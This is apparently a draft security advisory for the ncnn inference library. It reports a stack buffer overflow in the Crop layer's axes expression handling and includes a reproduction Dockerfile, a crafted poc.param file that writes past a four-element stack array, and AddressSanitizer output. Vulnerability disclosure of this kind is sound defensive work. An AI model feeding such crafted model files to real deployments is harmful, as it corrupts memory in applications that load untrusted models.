All advisories
Draft

Crop Axes Stack Buffer Overflow

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Crop Axes Stack Buffer Overflow

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/crop.cpp:715 in Crop::eval_crop_expr
Sanitizer verdict: stack-buffer-overflow

Summary

A crafted .param file processed by ncnnoptimize — or by any application that runs shape inference on an untrusted model — writes attacker-chosen 32-bit values past a four-element stack array in Crop::eval_crop_expr. The Crop layer's expression form lets the model supply an arbitrary-length axis list, and the evaluated list length is used unchecked as the loop bound for int _axes4[4]. The result is a stack out-of-bounds write whose length and contents the model controls.

Detail

Crop::load_param stores parameter key 21 verbatim as axes_expr = pd.get(21, "");, a free-form expression string. At forward time eval_crop_expr evaluates that string into a std::vector<int> whose size is whatever the expression produced — five elements for the PoC's 21="0,1,2,3,4". That vector size then becomes num_axis:

// src/layer/crop.cpp:702
    int _axes4[4] = {0, 1, 2, 3};
    int num_axis = (int)_axes.size();
    if (num_axis == 0)
    {
        num_axis = dims;
    }
    else
    {
        for (int i = 0; i < num_axis; i++)
        {
            int axis = axes_ptr[i];
            if (axis < 0)
                axis = dims + axis;
            _axes4[i] = axis;
        }
    }

_axes4 is a fixed four-element automatic array sized for ncnn's maximum tensor rank, but _axes.size() is bounded only by the expression the model supplies. There is no num_axis > 4 rejection, no std::min, and no comparison against dims before the copy loop runs.

With the PoC's five-element axes_expr, iteration i == 4 executes _axes4[4] = axis, a 4-byte write 16 bytes into the frame past the end of _axes4. ASan places _axes4 at [448, 464) and reports the write at offset 464. The 19="0,0,0,0,0" and 20="1,1,1,1,1" expressions keep _starts and _ends the same length so evaluation reaches the axis loop rather than failing earlier. A longer axes_expr extends the write correspondingly, with each stored word derived from the attacker's axis value and the blob rank.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-crop-axes-stack-buffer-overflow && cd ncnn-poc-crop-axes-stack-buffer-overflow

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 input 0=1
Crop crop 1 1 input output 19="0,0,0,0,0" 20="1,1,1,1,1" 21="0,1,2,3,4"
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x71df29a08dd0 at pc 0x5567c54981b5 bp 0x7ffe8535f6f0 sp 0x7ffe8535f6e0
WRITE of size 4 at 0x71df29a08dd0 thread T0
    #0 0x5567c54981b4 in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:715
    #1 0x5567c54d259f in ncnn::Crop_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:189
    #2 0x5567c30b2f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5567c30a4b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5567c31049e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5567c2f963c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5567c3013eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x71df2b8d61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x71df2b8d628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5567c2f93624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

Address 0x71df29a08dd0 is located in stack of thread T0 at offset 464 in frame
    #0 0x5567c5497895 in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:664

  This frame has 18 object(s):
    [32, 36) 'w' (line 683)
    [48, 52) 'h' (line 684)
    [64, 68) 'd' (line 685)
    [80, 84) 'channels' (line 686)
    [96, 100) '<unknown>'
    [112, 116) '<unknown>'
    [128, 132) '<unknown>'
    [144, 148) '<unknown>'
    [160, 164) '<unknown>'
    [176, 180) '<unknown>'
    [192, 196) '<unknown>'
    [208, 212) '<unknown>'
    [224, 228) '<unknown>'
    [240, 244) '<unknown>'
    [256, 280) '_starts' (line 665)
    [320, 344) '_ends' (line 666)
    [384, 408) '_axes' (line 667)
    [448, 464) '_axes4' (line 702) <== Memory access at offset 464 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /ncnn/src/layer/crop.cpp:715 in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const

Credit

Zheng Yu @ DepthFirst